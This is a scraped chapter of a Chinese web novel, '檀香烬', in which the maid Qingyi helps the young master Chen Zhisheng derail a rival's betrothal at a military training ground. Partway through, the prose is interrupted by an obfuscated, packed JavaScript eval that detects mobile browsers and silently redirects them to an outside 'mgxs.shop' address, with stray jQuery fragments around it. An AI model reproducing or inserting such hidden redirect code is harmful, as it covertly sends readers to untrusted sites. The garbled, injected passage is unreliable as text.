文趣网 > 都市小说 > 檀香烬 > 8. 我想知道她的底细
    是夜,夜雨稀落,星月俱隐,凉风自四面而起、穿堂而过。

    偏房中,陈执生愁容满面地看着清仪,他垂下眸睫,良久,终于开口道:“我想,她大抵并不会为了我前来。”

    “少爷不妨一试,你且放出消息去,说明日要带女眷去练兵场,”清仪顿了顿,说道:“若是徐家三小姐寻借口前来,那便是此事尚有转圜的余地,若是没来,也算是了却了少爷的一桩心事。”

    陈执生不语,默默地点了点头。

    清仪不温不火地说道:“沈家世代习武,那沈公子虽说行事无章了些,可到底有一身好武艺,在军队里亦是颇有声望,想必对行伍之事也是分外上心。”

    “若是徐小姐在练兵场之际表现出对周遭环境的不喜之意,她与沈公子本就交情不深,此举让沈公子看在眼里,难免不会心生不悦,此时,若少爷将徐小姐前往练兵场真正的意图透露给沈公子,或许他会对这桩婚事横加阻拦。”她接着道。

    “这怎么可能?”陈执生不可置信地说道:“且不要说紫缳不会因为小小的一个传闻便没由地赶来,她向来行事恭谨端庄,断不会做此表现……”

    “如若她对少爷有意呢?”清仪猝然开口。

    屋里顿时安静了下来。

    清仪伸手拿起执壶开始添茶,茶水顺着壶嘴幽幽地淌出来,周遭茶香四溢,她将其中一杯推至陈执生面前,指尖抚摸茶杯那一刻感受到了那方温热。

    清仪垂眸看向茶面,上面倒映着陈执生若有所思的面庞。

    陈执生似乎察觉到了她的目光,也低头看向茶杯,茶杯上浮着的是清仪看向他的脸庞。

    次日清晨,清仪还在睡着便被穆沉雪晃醒。

    “听说你昨日与二少爷有要事相商,是什么事?”她焦急地问道。

    清仪缓了缓神,才将事情与她一一解释。

    “这怎么可能?”穆沉雪同陈执生一样一脸骇然。

    “你觉得在陈执生与沈凛这二人中,徐紫缳会更想要嫁与谁?”

    “或许是陈执生?”穆沉雪思考半天,道:“可是,联姻在即,她何必因为一个消息便横生枝节?”

    “她身为女子,为了给自己留后路,自是不便声张想要嫁与谁,这桩婚事最好的结果便是被沈凛搅黄。”清仪沉声道:“或许她也愿意一试。”

    穆沉雪依旧不解,道:“可她怎知该如何做?”

    “赏菊宴那日,我曾问你,大夫人责罚长芸时,为何偏问了徐紫缳该如何处置?”清仪缓缓道,脑海中又响起大夫人的那句“不要犯糊涂”。

    当时她没能参透大夫人的神情为何有些古怪,而那份令人匪夷所思的审视与不悦,直到最近,她才似乎找到了源泉。

    “你是问过我此事,大夫人或许只是随口一问吧。”穆沉雪打断了她的回忆,说道:“这与长芸又有什么关系?”

    清仪默然无声,只是匆匆起身向门外走去。

    穆沉雪被弄得一头雾水,索性也不管长芸的事了,她急切地问道:“你去看那账簿了吧?可有问题?”

    “有。”清仪头也不回、边走边答道。

    “你为何忽然想要帮陈执生去阻挠那徐紫缳的婚事?”穆沉雪突然问道。

    她清晰地看到远处那身形在听到这话时忽地一滞。

    “我想知道她的底细。”

    穆沉雪只看到清仪的背影,耳边飘过这句话。

    清仪推开门去,环顾四周,前半夜里阵阵细雨交替不息,脚下褐黄色的土地已经发粘。她小心翼翼地踩上去,俯下身子在盛满水珠的杂草中不停翻找。

    泥土的腥气泛了上来,草叶与清仪的衣裙摩擦不止,发出窸窸窣窣的声音,她始终目色冷凝、不断搜寻着什么。

    终于,她的双眼中闪过一丝欣喜,清仪三步并两步、手脚并用地拨开四周的杂草。

    呈现在她眼前的是几个脚印,虽不甚清晰,但依旧可以辨出脚印的主人曾在窗前徘徊,脚印时断时续,却始终一深一浅。

    清仪长舒一口气。

    上午,练兵场处——

    成百上千士兵列阵操练,弯弓搭箭、箭矢直指靶心,弓身跨步、喊杀声震耳欲聋。

    清仪跟在陈执生身后,他今日长发高束,戎装在身,笔直的长眉直飞如鬓,阳光直射在他高耸的眉骨上,投射出淡淡的两片阴影,远远看去,当真是俊朗无双。

    他宽大的臂膀为清仪遮住些许阳光。

    突然,一声问询传来。

    “陈兄,你怎么来了?”一男子含笑着迎上来

    “沈兄,”陈执生拱手作揖,“我来看望旧友,他尚在营中,受邀来与他切磋一二,眼下正要启程回府。”

    清仪转头看向那男子,他头戴盔甲,面容略显清癯,却依旧可看出他的仪表堂堂、气质不凡——那便是沈家大公子沈凛了。

    沈凛应了一声,目光落到了清仪身上。

    “奴婢阿檀,参见沈公子。”清仪俯身行礼。

    沈凛摆摆手,示意清仪起身,随后又朗声问道:“早闻陈兄箭术了得,一直未有机会切磋,今日于此相见,你不妨再与我比一次,可好?”

    “定然可以。”陈执生笑着应下。

    于是,校场之上,只见两人各执一弓立于箭靶前方,箭身贴在绷紧着的弓弦之上,二人屏气凝神、全神贯注地盯着靶心的红点。

    只听“铮——”地一声,两只羽箭疾飞而出,划破长空,直直地钉在箭靶之上。

    二人均神色紧张,从箭筒中抽出又一只箭,电光火石间,一声铮鸣再次撕裂长空,只见那靶上又插上两只羽箭,一支略有偏移,一支正中靶心。

    清仪驻足一旁,目视着二人再次开弓,一阵秋风袭来,倏地卷起一片尘土,那只箭自尘土中飞扬而过,一道白影掠过长空,她顺着微微颤动的箭尾羽片看过去,箭镞紧紧嵌入靶心的红点中。

    她没有留意另一支箭的位置,只是听见沈凛笑道:“陈兄大获全胜啊!陈兄果然箭法非凡,沈某佩服。”

    “沈兄过奖,其实今日未必是陈某大获全胜。”陈执生扬唇轻笑,道:“我已在这练兵场耽搁甚久,是时候该离开了。”

    沈凛听得如坠云雾,只是跟着点了点头。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938449|213788||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    “阿檀,我们走吧。”陈执生的话里带着些不可名状的怅惘。

    清仪悄声应下,两人转身欲离开。

    一声问候打破了这平静。

    “陈公子这是要离开了吗?”声音十分轻快。

    不必回头也知是高小姐的声音。

    陈执生垂下眼去,定了定神,眼含笑意地转过身去,微微欠身,道:“已在此处留了许久——”

    他修长的睫毛细细地颤了一颤,本欲行礼的手滞在了半空中,阳光拂面,一瞬之间暖意闯进了他的心房,高小姐身旁,有一双眼睛正目光盈盈地望着他。

    那是一双漂亮的桃花眼。

    只见她微微一拜,道:“见过沈公子,陈公子,今日我陪高家妹妹来送东西,有幸见到二位。”

    陈执生跟着沈凛一同回了个礼。

    “徐姑娘可是初次来此?”沈凛问道。

    “确是,可也不会再来了。”徐紫缳收起笑颜,叹道。

    “这是为何?”高小姐一脸不解地问。

    “这练兵场多肃杀之气,我素来不甚喜爱,”徐紫缳神色一凛,哀声道:“耳中尽是弦鸣呼喝,尘土飞扬,实在少了几分清雅。”

    每一句话虽冷声冷气,却一下接一下紧紧攥住陈执生的心。

    陈执生悄悄看向沈凛,他负手而立,脸上无甚笑意。

    徐紫缳言罢,似是无意地扫视了一眼众人,眼中闪过一丝讳莫如深的幽光。

    “我们快些走吧。”她看向高小姐道。

    高小姐点头应下,二人作别离开。

    陈执生站在原地,望着二人离去的身影,双目空洞,不知在思索着些什么。

    清仪轻轻唤了他一声:“二少爷。”

    他才终于回过神来,转头看向沈凛。

    “沈公子……我此次前来,其实另有一事。”陈执生神色淡然说道。

    “那陈兄此次前来——”沈凛将眼一睨,“所为何事?”

    “我其实……是有事相求。”陈执生话到嘴边,又变得张口结舌。

    面对他这副闪烁其词的样子,沈凛却不觉失笑,他忽地伸手搭在了陈执生肩头,唇角微扬,说道:“随我前来吧,我们单独说。”

    陈执生低声应下。

    “那个……阿檀啊,”沈凛顿了顿,沉声道:“你先回去吧。”

    清仪见状便识趣地离开了练兵场,可沈凛最后那副神情却在她脑中久久挥之不去。

    两日后,偏房中——

    清仪坐在桌边暗自思忖着什么,忽地门口传来一声:“沈凛已在家中闹了两天,闹得沈家鸡飞狗跳,总算是搅黄了这桩婚事。”

    他的语气轻快,可神情却有些不自然。

    “那看来二少爷前日一行卓有成效。”清仪含笑回应。

    陈执生粲然一笑,轻轻点了点头。

    默了半晌,他忽地开口说道:“今日晚上,你随我出府去,我有重要的物件要赠于你。”

    清仪一时诧异,看向陈执生,他目色平静,一双眼睛看不出悲喜。

    “是。”清仪应声答道。